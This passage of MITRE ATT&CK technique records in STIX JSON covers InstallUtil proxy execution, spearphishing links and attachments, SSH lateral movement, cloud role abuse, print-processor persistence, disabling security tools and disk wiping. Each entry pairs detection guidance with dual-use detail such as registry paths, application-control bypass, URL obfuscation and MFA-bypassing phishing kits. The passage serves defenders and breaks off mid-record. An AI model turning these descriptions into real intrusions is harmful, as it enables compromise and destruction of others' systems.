Registry Key Modification","File: File Modification","Module: Module Load","Process: Process Creation","Windows Registry: Windows Registry Key Creation","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1137","external_id":"T1137"},{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"},{"source_name":"TechNet O365 Outlook Rules","description":"Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.","url":"https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/"},{"source_name":"CrowdStrike Outlook Forms","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"},{"source_name":"SensePost Ruler GitHub","description":"SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.","url":"https://github.com/sensepost/ruler"},{"source_name":"SensePost NotRuler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.","url":"https://github.com/sensepost/notruler"},{"source_name":"Outlook Today Home Page","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","type":"attack-pattern","created":"2020-01-23T19:09:48.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.004","url":"https://attack.mitre.org/techniques/T1218/004"},{"source_name":"MSDN InstallUtil","description":"Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/50614e95.aspx"},{"source_name":"LOLBAS Installutil","url":"https://lolbas-project.github.io/lolbas/Binaries/Installutil/","description":"LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."}],"modified":"2022-03-11T18:47:52.603Z","name":"InstallUtil","description":"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_permissions_required":["User"]},{"modified":"2024-05-31T04:18:44.567Z","name":"Spearphishing Link","description":"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also embed “tracking pixels”, \"web bugs\", or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Philip Winther","Sebastian Salla, McAfee","Menachem Goldstein","Robert Simmons, @MalwareUtkonos","Elpidoforos Maragkos, @emaragkos","Joas Antonio dos Santos, @C0d3Cr4zy","Austin Herrin","Obsidian Security","Sam Seabrook, Duke Energy"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.6","x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","created":"2020-10-02T17:09:50.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1598/003","external_id":"T1598.003"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"TrendMictro Phishing","description":"Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.","url":"https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"},{"source_name":"IAPP","description":"IAPP. (n.d.). Retrieved March 5, 2024.","url":"https://iapp.org/resources/article/web-beacon/"},{"source_name":"QR-campaign-energy-firm","description":"Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.","url":"https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm"},{"source_name":"PCMag FakeLogin","description":"Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.","url":"https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Mr. D0x BitB 2022","description":"mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.","url":"https://mrd0x.com/browser-in-the-browser-phishing-attack/"},{"source_name":"Mandiant URL Obfuscation 2023","description":"Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.","url":"https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"},{"source_name":"NIST Web Bug","description":"NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.","url":"https://csrc.nist.gov/glossary/term/web_bug"},{"source_name":"Proofpoint Human Factor","description":"Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.","url":"https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf"},{"source_name":"Ryte Wiki","description":"Ryte Wiki. (n.d.). Retrieved March 5, 2024.","url":"https://en.ryte.com/wiki/Tracking_Pixel"},{"source_name":"qr-phish-agriculture","description":"Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.","url":"https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing"},{"source_name":"ZScaler BitB 2020","description":"ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.","url":"https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-11T20:24:03.069Z","name":"SSH","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems log show --predicate 'process = \"sshd\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Logon Session: Logon Session Creation","Process: Process Creation","Network Traffic: Network Connection Creation"],"x_mitre_system_requirements":["An SSH server is configured and running."],"type":"attack-pattern","id":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","created":"2020-02-11T18:27:15.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/004","external_id":"T1021.004"},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Additional Cloud Roles","description":"An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Alex Parsons, Crowdstrike","Chris Romano, Crowdstrike","Wojciech Lesicki","Pià Consigny, Tenable","Clément Notin, Tenable","Praetorian","Alex Soler, AttackIQ","Arad Inbar, Fidelis Security","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"2.5","x_mitre_data_sources":["User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","created":"2020-01-19T16:59:45.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098/003","external_id":"T1098.003"},{"source_name":"Expel AWS Attacker","description":" Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.","url":"https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"},{"source_name":"Microsoft O365 Admin Roles","description":"Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.","url":"https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"},{"source_name":"AWS IAM Policies and Permissions","description":"AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"},{"source_name":"Google Cloud IAM Policies","description":"Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.","url":"https://cloud.google.com/iam/docs/policies"},{"source_name":"Invictus IR DangerDev 2024","description":"Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.","url":"https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"},{"source_name":"Microsoft Support O365 Add Another Admin, October 2019","description":"Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.","url":"https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"},{"source_name":"Rhino Security Labs AWS Privilege Escalation","description":"Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022.","url":"https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2023-10-04T14:16:17.655Z","name":"Print Processors","description":"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Mathieu Tartare, ESET","Tahseen Bin Taj"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","File: File Creation","Driver: Driver Load","Module: Module Load","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"type":"attack-pattern","id":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","created":"2020-10-05T13:24:49.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/012","external_id":"T1547.012"},{"source_name":"Microsoft AddPrintProcessor May 2018","description":"Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"},{"source_name":"Microsoft Intro Print Processors","description":"Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.","url":"https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"},{"source_name":"ESET PipeMon May 2020","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044","type":"attack-pattern","created":"2017-05-31T21:31:07.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1089","external_id":"T1089"},{"external_id":"CAPEC-578","source_name":"capec","url":"https://capec.mitre.org/data/definitions/578.html"}],"modified":"2020-02-21T20:35:48.979Z","name":"Disabling Security Tools","description":"Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["File monitoring","Host intrusion prevention systems","Signature-based detection","Log analysis","Anti-virus"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e","type":"attack-pattern","created":"2019-03-19T19:38:27.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1487","url":"https://attack.mitre.org/techniques/T1487"},{"source_name":"Symantec Shamoon 2012","url":"https://www.symantec.com/connect/blogs/shamoon-attacks","description":"Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","source_name":"FireEye Shamoon Nov 2016"},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"source_name":"Kaspersky StoneDrill 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."},{"source_name":"Unit 42 Shamoon3 2018","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."}],"modified":"2020-02-20T22:11:00.106Z","name":"Disk Structure Wipe","description":"Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["Administrator","root","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T16:42:01.552Z","name":"Spearphishing Attachment","description":"Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Philip Winther"],"x_mitre_deprecated":false,"x_mitre_detection":"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"2.2","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Application Log: Application Log Content","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","created":"2020-03-02T19:05:18.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1566/001","external_id":"T1566.001"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 